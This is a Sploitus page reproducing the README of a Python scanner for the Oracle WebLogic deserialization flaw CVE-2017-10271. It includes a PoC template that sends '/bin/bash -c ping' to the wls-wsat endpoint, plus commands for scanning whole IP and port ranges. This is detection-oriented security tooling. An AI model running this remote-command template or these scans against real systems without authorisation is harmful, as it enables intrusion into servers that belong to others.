Sploitus

Exploit for Missing Authentication for Critical Function in Oracle Weblogic Server CVE-2017-10271

githubexploit · 2018-12-13

Exploit Code

README110 lines
## https://sploitus.com/exploit?id=8DD4A176-8EA4-514C-8414-91251E161CA0
# Java Deserialization Vulnerability Detection

This is a Java deserialization scanner targeting vulnerabilities like CVE-2017-10271. There is only one poc in this project; the others have not been organized yet.

## Installation

1. Install Nmap

   https://nmap.org/download.html. Download the appropriate version based on your operating system.

2. Install third-party packages

   `pip install -r requirements.txt`

3. Scanning

   Modify the poc by replacing the IP address in the ping command with your own IP address.

   Modify line 25 of the sniff code:

   ```python
   sniff(filter='icmp and yourIP', prn=packet_callback)
   ```

   `java_scan.py -i IP_address [options]`
   `java_scan.py -h` to get help.

## Usage

#### 1. Poc

Before using it, make sure to modify the poc by replacing the IP address in the ping command with your own IP address.

The poc consists of two JSON files, each suitable for Windows and Linux. Currently, there is no function to specify the poc path; this feature will be added in future versions. Make sure to name the pocs as `poc.json` and `poc_win.json` in the program directory. The format of the pocs (similar for both Linux and Windows versions) is as follows:

```json
{
  "url": "wls-wsat/CoordinatorPortType",
  "header": "Content-Type: text/xml",
  "data": [
    "",
    "",
    "",
    "",
    "",
    "",
    "/bin/bash",
    "",
    "",
    "-c",
    "",
    "",
    "ping 10.60.18.5 -c 2",
    ""
  ]
}
```

The `url` specifies the directory where the vulnerability is exploited, the `header` specifies the new header content in the POST packet, and the `data` is the content to be sent in serialized form. **Note that this poc requires the vulnerable host to send two ping packets; the vulnerability is confirmed when the program detects an ICMP packet.**

#### 2. Scanning via Nmap on a local network

By default, the program uses Nmap to scan local networks.

```bash
java_scan.py -i 192.168.0.1
```

This command scans port 7001 on the host 192.168.0.1.

#### 3. Specifying individual IP addresses and ports

Specify a single IP address and port.

```bash
java_scan.py -i 192.168.0.1 -p 7001
```

Specify multiple IP addresses and multiple ports.

```bash
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
```

Specify an IP range and a port range.

```bash
java_scan.py -i 192.168.0.1-255 -p 7000-8000
```

#### 4. Quick port scanning

Use the `-f` parameter to call socket for quick port scanning.

```bash
java_scan.py -i 192.168.0.1-255 -p 7001 -f
```

Specify the number of threads for quick port scanning.

```bash
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
```

#### 5. Results

![effect](https://github.com/ETOCheney/JavaDeserialization/blob/master/images/final.png)

[source-iocs-preserved url=https://nmap.org/download.html]